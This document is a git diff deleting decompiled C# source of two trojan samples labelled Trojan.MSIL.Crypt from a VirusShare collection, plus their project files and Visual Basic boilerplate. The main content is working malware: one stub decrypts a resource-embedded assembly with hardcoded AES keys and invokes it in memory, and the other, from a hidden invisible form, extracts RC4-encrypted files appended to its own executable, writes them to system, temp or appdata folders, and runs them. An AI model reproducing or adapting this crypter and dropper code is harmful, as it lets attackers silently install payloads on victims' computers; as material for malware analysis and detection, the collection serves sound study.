C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9.exe - -using Microsoft.VisualBasic.CompilerServices; -using My; -using System; -using System.IO; -using System.Reflection; -using System.Resources; -using System.Runtime.CompilerServices; -using System.Security.Cryptography; -using System.Text; - -[StandardModule] -internal sealed class QFZQHUfONBmOkwLsKw -{ - private static int ByteCount = 0; - - [STAThread] - public static void Main() - { - QFZQHUfONBmOkwLsKw.ftyu(); - ProjectData.EndApp(); - } - - public static void ftyu() => QFZQHUfONBmOkwLsKw.pol(); - - public static void pol() - { - string location = Assembly.GetExecutingAssembly().Location; - string str = MyProject.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData + "\\EwEi.exe"; - ResourceManager resourceManager = new ResourceManager("LOFet", Assembly.GetExecutingAssembly()); - string name = resourceManager.GetString("KZRCj"); - string rBYTwyfzFNDiqrpuSZ = "FtOFvJTCCppQZlO"; - string aNRqRcWolIeDuqDTiE = resourceManager.GetString("hNkDPDztMKgQagco"); - byte[] bytes1 = Encoding.Default.GetBytes(QFZQHUfONBmOkwLsKw.BlTVqTXlvQeREeBzcJ(resourceManager.GetString("GGcdmKrVkR"), "rXggfkVO")); - Encoding.Default.GetBytes(QFZQHUfONBmOkwLsKw.BlTVqTXlvQeREeBzcJ(resourceManager.GetString("Gejgr"), "uKfg")); - byte[] bytes2 = Encoding.Default.GetBytes(QFZQHUfONBmOkwLsKw.BlTVqTXlvQeREeBzcJ(aNRqRcWolIeDuqDTiE, rBYTwyfzFNDiqrpuSZ)); - RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Assembly.Load(bytes1).GetType(name).GetMethod(resourceManager.GetString("UuRQ")).Invoke((object) null, new object[6] - { - (object) bytes2, - (object) true, - (object) location, - (object) true, - (object) false, - (object) false - }))); - } - - public static string BlTVqTXlvQeREeBzcJ(string aNRqRcWolIeDuqDTiE, string rBYTwyfzFNDiqrpuSZ) - { - string s1 = "jhsethsdutubgt"; - string s2 = "a48uyrhf094hy2dm"; - int iterations = 2; - string strHashName = "SHA1"; - int num = 256; - try - { - byte[] bytes1 = Encoding.Default.GetBytes(aNRqRcWolIeDuqDTiE); - byte[] bytes2 = Encoding.ASCII.GetBytes(s2); - byte[] bytes3 = Encoding.ASCII.GetBytes(s1); - byte[] buffer = bytes1; - byte[] bytes4 = new PasswordDeriveBytes(rBYTwyfzFNDiqrpuSZ, bytes3, strHashName, iterations).GetBytes(checked ((int) Math.Round(unchecked ((double) num / 8.0)))); - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - rijndaelManaged.Mode = CipherMode.CBC; - byte[] numArray = new byte[checked (buffer.Length + 1)]; - using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes4, bytes2)) - { - using (MemoryStream memoryStream = new MemoryStream(buffer)) - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) - { - QFZQHUfONBmOkwLsKw.ByteCount = cryptoStream.Read(numArray, 0, numArray.Length); - memoryStream.Close(); - cryptoStream.Close(); - } - } - } - rijndaelManaged.Clear(); - return Encoding.Default.GetString(numArray); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - throw; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/Trojan.MSIL.Crypt.bkc.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/Trojan.MSIL.Crypt.bkc.csproj deleted file mode 100644 index 755a0186..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/Trojan.MSIL.Crypt.bkc.csproj +++ /dev/null @@ -1,47 +0,0 @@ - - - - - Debug - AnyCPU - {C23054F4-FD93-4165-B23B-CBEBCA055BD9} - WinExe - Server1 - 7.3.10.10 - My - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/Trojan.MSIL.Crypt.bkc.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/Trojan.MSIL.Crypt.bkc.sln deleted file mode 100644 index 89409725..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9/Trojan.MSIL.Crypt.bkc.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server1", "Trojan.MSIL.Crypt.bkc-d67f2cfb48f83bb34a78ec2403b1a9de14351511cacaeb69b7539784042fc4f9.csproj", "{C23054F4-FD93-4165-B23B-CBEBCA055BD9}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {C23054F4-FD93-4165-B23B-CBEBCA055BD9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C23054F4-FD93-4165-B23B-CBEBCA055BD9}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C23054F4-FD93-4165-B23B-CBEBCA055BD9}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C23054F4-FD93-4165-B23B-CBEBCA055BD9}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/AssemblyInfo.cs deleted file mode 100644 index 427eac53..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCopyright("Copyright © Local 2009")] -[assembly: ComVisible(false)] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("Inc. Product")] -[assembly: AssemblyTitle("Windows Corporation")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("e473885e-5d61-4871-96de-a4048dd75bb3")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/Form1.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/Form1.cs deleted file mode 100644 index 9446592f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/Form1.cs +++ /dev/null @@ -1,168 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication2.Form1 -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 203F0B26-5FFF-417A-945E-ABA05A8AC089 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Text; -using System.Threading; -using System.Windows.Forms; -using WindowsApplication2.My; - -namespace WindowsApplication2 -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - private const string Splitter = "@#sp@##@s@lit#mixed"; - private const string enckey = "Yod2ff86sd84f8r84bj84d3fgh68sdh6"; - - [DebuggerNonUserCode] - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(10, 10); - this.ControlBox = false; - this.Enabled = false; - this.FormBorderStyle = FormBorderStyle.None; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (Form1); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.StartPosition = FormStartPosition.CenterScreen; - this.WindowState = FormWindowState.Minimized; - this.ResumeLayout(false); - } - - private void Form1_Load(object sender, EventArgs e) - { - string Expression = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read); - FileSystem.FileGet(1, ref Expression); - FileSystem.FileClose(1); - string[] strArray1 = Strings.Split(Expression, "@#sp@##@s@lit#mixed"); - int num1 = checked ((int) Math.Round(Conversion.Val(Form1.rc4(strArray1[1], "Yod2ff86sd84f8r84bj84d3fgh68sdh6")))); - string Left = strArray1[2]; - string str1; - if (Operators.CompareString(Left, Form1.rc4("SYSTEM", "Yod2ff86sd84f8r84bj84d3fgh68sdh6"), false) == 0) - str1 = Environment.SystemDirectory + "\\"; - else if (Operators.CompareString(Left, Form1.rc4("TEMP", "Yod2ff86sd84f8r84bj84d3fgh68sdh6"), false) == 0) - str1 = MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\"; - else if (Operators.CompareString(Left, Form1.rc4("APPDATA", "Yod2ff86sd84f8r84bj84d3fgh68sdh6"), false) == 0) - str1 = Environment.GetEnvironmentVariable("APPDATA") + "\\"; - int num2 = checked (num1 + 2); - int FileNumber = 3; - while (FileNumber <= num2) - { - try - { - string[] strArray2 = Strings.Split(strArray1[FileNumber], "#EXT#@is@here##"); - string str2 = str1 + this.Number(10000, 99999) + Form1.rc4(strArray2[1], "Yod2ff86sd84f8r84bj84d3fgh68sdh6"); - FileSystem.FileOpen(FileNumber, str2, OpenMode.Binary, OpenAccess.ReadWrite); - FileSystem.FilePut(FileNumber, Form1.rc4(strArray2[0], "Yod2ff86sd84f8r84bj84d3fgh68sdh6"), -1L, false); - FileSystem.FileClose(FileNumber); - Process.Start(str2); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++FileNumber; } - } - ProjectData.EndApp(); - } - - public static string rc4(string message, string password) - { - int[] numArray1 = new int[257]; - int location1 = 0; - int[] numArray2 = new int[257]; - while (location1 <= (int) byte.MaxValue) - { - int length = password.Length; - char String = password.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = location1; - numArray1[location1] = Strings.Asc(String); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - int index = checked (0 + numArray2[location2] + numArray1[location2]) % 256; - int num = numArray2[location2]; - numArray2[index] = num; - numArray2[location2] = numArray2[index]; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - int location3 = 1; - StringBuilder stringBuilder = new StringBuilder(); - while (location3 <= message.Length) - { - int index1 = checked (0 + 1) % 256; - int index2 = checked (0 + numArray2[index1]) % 256; - int num1 = 0; - numArray2[index2] = num1; - int num2 = numArray2[index1]; - numArray2[index1] = numArray2[index2]; - int CharCode = Strings.Asc(message.Substring(checked (location3 - 1), 1).ToCharArray()[0]) ^ numArray2[checked (numArray2[index1] + numArray2[index2]) % 256]; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location3), checked (location3 - 1)); - } - string empty = string.Empty; - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - - private string GetBetween( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - string between = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int length = strStart.Length; - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - between = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return between; - } - - private string Number(int min, int max) => new Random().Next(min, max).ToString(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/Form1.resx b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/MyApplication.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/MyApplication.cs deleted file mode 100644 index b8d108be..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication2.My.MyApplication -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 203F0B26-5FFF-417A-945E-ABA05A8AC089 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace WindowsApplication2.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/MyComputer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/MyComputer.cs deleted file mode 100644 index beaea244..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication2.My.MyComputer -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 203F0B26-5FFF-417A-945E-ABA05A8AC089 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace WindowsApplication2.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/MyProject.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/MyProject.cs deleted file mode 100644 index b8155978..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication2.My.MyProject -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 203F0B26-5FFF-417A-945E-ABA05A8AC089 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace WindowsApplication2.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/MySettings.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/MySettings.cs deleted file mode 100644 index 63723ae8..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/MySettings.cs +++ /dev/null @@ -1,73 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication2.My.MySettings -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 203F0B26-5FFF-417A-945E-ABA05A8AC089 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace WindowsApplication2.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/MySettingsProperty.cs deleted file mode 100644 index d580516d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication2.My.MySettingsProperty -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 203F0B26-5FFF-417A-945E-ABA05A8AC089 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace WindowsApplication2.My -{ - [StandardModule] - [CompilerGenerated] - [DebuggerNonUserCode] - [HideModuleName] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/Resources/Resources.cs deleted file mode 100644 index 8e7bce98..00000000 --- 